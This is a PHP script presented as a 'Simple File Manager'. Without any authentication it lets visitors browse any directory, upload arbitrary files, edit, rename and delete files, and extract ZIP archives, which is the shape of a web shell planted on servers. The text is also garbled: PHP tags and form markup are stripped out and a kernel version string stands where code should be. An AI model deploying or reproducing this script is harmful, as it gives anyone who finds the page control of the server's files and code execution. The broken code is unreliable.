$title = "Simple File Manager";
$path = isset($_GET['path']) ? $_GET['path'] : getcwd();
$path = realpath($path);
if (!$path || !is_dir($path)) $path = getcwd();
chdir($path);
$files = scandir($path);

function getPermissions($file) {
return substr(sprintf('%o', fileperms($file)), -4);
}

// Upload
if (isset($_FILES['upload'])) {
$uploadName = basename($_FILES['upload']['name']);
$targetFile = $path . DIRECTORY_SEPARATOR . $uploadName;
if (move_uploaded_file($_FILES['upload']['tmp_name'], $targetFile)) {
$message = "Upload successful: $uploadName";
} else {
$message = "Upload failed.";
}
}

// Edit
if (isset($_GET['edit'])) {
$file = basename($_GET['edit']);
$filePath = $path . DIRECTORY_SEPARATOR . $file;
if (is_file($filePath)) {
if (isset($_POST['content'])) {
file_put_contents($filePath, $_POST['content']);
$message = "File saved: $file";
}
$content = htmlspecialchars(file_get_contents($filePath));
echo "

Editing: $file



<textarea name='content' rows='20' cols='80'>$content</textarea>

<button type='submit'>Save</button>

<p><a href='?path=" . urlencode($path) . "'>Back</a></p>";
exit;
}
}

// Rename
if (isset($_GET['rename']) && isset($_GET['to'])) {
$oldName = basename($_GET['rename']);
$newName = basename($_GET['to']);
$oldPath = $path . DIRECTORY_SEPARATOR . $oldName;
$newPath = $path . DIRECTORY_SEPARATOR . $newName;
if (file_exists($oldPath)) {
rename($oldPath, $newPath);
$message = "Renamed $oldName to $newName";
}
}

// Delete
if (isset($_GET['delete'])) {
$target = basename($_GET['delete']);
$targetPath = $path . DIRECTORY_SEPARATOR . $target;
if (is_dir($targetPath)) {
rmdir($targetPath) ? $message = "Folder deleted: $target" : $message = "Failed to delete folder: $target";
} elseif (is_file($targetPath)) {
unlink($targetPath) ? $message = "File deleted: $target" : $message = "Failed to delete file: $target";
}
}

// Extract ZIP
if (isset($_GET['extract'])) {
$zipFile = basename($_GET['extract']);
$zipPath = $path . DIRECTORY_SEPARATOR . $zipFile;
if (is_file($zipPath)) {
$zip = new ZipArchive;
if ($zip->open($zipPath) === TRUE) {
$zip->extractTo($path);
$zip->close();
$message = "Extracted $zipFile";
} else {
$message = "Failed to extract $zipFile";
}
}
}

<!DOCTYPE html>
<html lang="en">

<meta charset="UTF-8">
<?= htmlspecialchars($title) ?> <title>= htmlspecialchars($title) </title>
<style>
body { font-family: sans-serif; background: #f0f0f0; padding: 20px; }
h1 { color: #333; }
table { border-collapse: collapse; width: 100%; background: #fff; }
th, td { border: 1px solid #ddd; padding: 8px; }
th { background: #007bff; color: #fff; }
tr:nth-child(even) { background: #f9f9f9; }
a { color: #007bff; text-decoration: none; }
a:hover { text-decoration: underline; }
.message { padding: 10px; background: #e7f3fe; border: 1px solid #b3d7ff; margin-bottom: 10px; }
.info-box { background: #fff; padding: 10px; margin-bottom: 20px; border: 1px solid #ddd; }
</style>



= htmlspecialchars($title)


<p>Current Path: = htmlspecialchars($path) </p>

if (isset($message)):
<div class="message">= htmlspecialchars($message) </div>
endif;

<!-- Server Info -->
<div class="info-box">
<strong>Server Info:</strong>

PHP Version: = phpversion()

OS: = Linux Server 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC x86_64

User: = get_current_user()

Disk Free: = round(disk_free_space($path) / 1024 / 1024, 2) MB

Disk Total: = round(disk_total_space($path) / 1024 / 1024, 2) MB
</div>



<button type="submit">Upload File</button>



<th>Name</th><th>Size</th><th>Permissions</th><th>Actions</th>
foreach ($files as $file):
if ($file === ".") continue;
$filePath = $path . DIRECTORY_SEPARATOR . $file;
$isDir = is_dir($filePath);







endforeach;

if ($isDir):
<a href="?path== urlencode($filePath) ">= htmlspecialchars($file) </a>
else:
= htmlspecialchars($file)
endif;
= $isDir ? "-" : filesize($filePath) . " bytes" = getPermissions($filePath)
if (!$isDir):
<a href="?edit== urlencode($file) &path== urlencode($path) ">Edit</a>
if (strtolower(pathinfo($file, PATHINFO_EXTENSION)) === 'zip'):
| <a href="?extract== urlencode($file) &path== urlencode($path) ">Extract</a>
endif;
endif;
|
<a href="?delete== urlencode($file) &path== urlencode($path) " onclick="return confirm('Delete = htmlspecialchars($file) ?')">Delete</a>
|
Rename:




<button type="submit">Go</button>